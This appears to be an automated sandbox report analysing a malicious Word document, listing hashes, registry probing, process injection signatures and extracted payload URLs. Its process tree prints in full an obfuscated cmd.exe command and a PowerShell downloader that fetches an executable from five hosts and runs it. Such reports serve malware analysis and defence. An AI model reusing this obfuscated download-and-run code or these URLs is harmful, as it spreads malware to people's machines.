Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 10:10
Behavioral task
behavioral1
Sample
719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc
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Size
71KB
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MD5
719b744a0de134515f7020f4f02fd9ac
-
SHA1
a97a77f1b61c2640575b3c75d78985dc1d606695
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SHA256
1316c887d94e24f942b882ecbe7314ef4746e2800122b27bb0086e8aacbb8b00
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SHA512
30791787272c6582d02d0f512ec96d5d36ec51398b2e032c76e730e937977cff9e8e21788efffd834f48d72eb9ae78a291ca8260bf3aadf2ca8bf52bff4fcd35
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SSDEEP
768:upJcaUitGAlmrJpmxlzC+w99NBE+1o/9XXMmBktlFAO2vxwpF:uptJlmrJpmxlRw99NBE+a/VknF
Malware Config
Extracted
http://mooremakeup.com/k
http://crossroadstamp.com/0
http://ntsuporte.com.br/kl5
http://oooka.biz/RaQOFhRM
http://parusalon.ru/idb
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4856 628 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 32 2856 powershell.exe 101 2856 powershell.exe 103 2856 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 4856 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 628 WINWORD.EXE 628 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2856 powershell.exe 2856 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2856 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 628 WINWORD.EXE 628 WINWORD.EXE 628 WINWORD.EXE 628 WINWORD.EXE 628 WINWORD.EXE 628 WINWORD.EXE 628 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 628 wrote to memory of 4856 628 WINWORD.EXE cmd.exe PID 628 wrote to memory of 4856 628 WINWORD.EXE cmd.exe PID 4856 wrote to memory of 2856 4856 cmd.exe powershell.exe PID 4856 wrote to memory of 2856 4856 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\719b744a0de134515f7020f4f02fd9ac_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\SYSTEM32\cmd.execmd /V^:^O/C"^s^e^t ^jU^8n=^ ^ ^ ^ ^ ^ ^ ^ ^ }^}{^hc^t^ac^};^ka^erb^;FvK$^ ^m^e^t^I-^e^k^ovnI^;)^Fv^K$^ ,Jl^I$(eli^Fda^o^lnwo^D.^S^zv^${yr^t{)z^Bi$ n^i^ ^Jl^I$(hc^aer^o^f;^'^ex^e.'^+Q^Q^i$+^'^\'+c^i^lbu^p:vn^e^$^=Fv^K$^;'^68^7^' = ^QQ^i$;)'@'(tilp^S^.'^bd^i/^ur.n^ola^s^ura^p//^:^ptt^h@MRh^FO^QaR/^zi^b^.^a^ko^oo//:^ptt^h@5^l^k/rb.^m^oc.e^tro^p^u^stn//:p^tth^@0/m^oc^.^pma^t^sd^aors^sorc//^:^ptt^h@^k/^m^oc^.pue^kam^er^o^om//:ptth'^=zB^i^$^;tnei^lCbe^W^.t^eN^ ^tc^ejbo^-w^en=S^zv^$ ^l^l^e^h^sre^wop&&^f^or /^L %^x ^in (^3^40,^-^1^,^0)^d^o s^e^t ^8^h=!^8^h!!^jU^8n:~%^x,1!&&^i^f %^x ^eq^u ^0 ca^l^l %^8^h:^~^4%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $vzS=new-object Net.WebClient;$iBz='http://mooremakeup.com/k@http://crossroadstamp.com/0@http://ntsuporte.com.br/kl5@http://oooka.biz/RaQOFhRM@http://parusalon.ru/idb'.Split('@');$iQQ = '786';$KvF=$env:public+'\'+$iQQ+'.exe';foreach($IlJ in $iBz){try{$vzS.DownloadFile($IlJ, $KvF);Invoke-Item $KvF;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82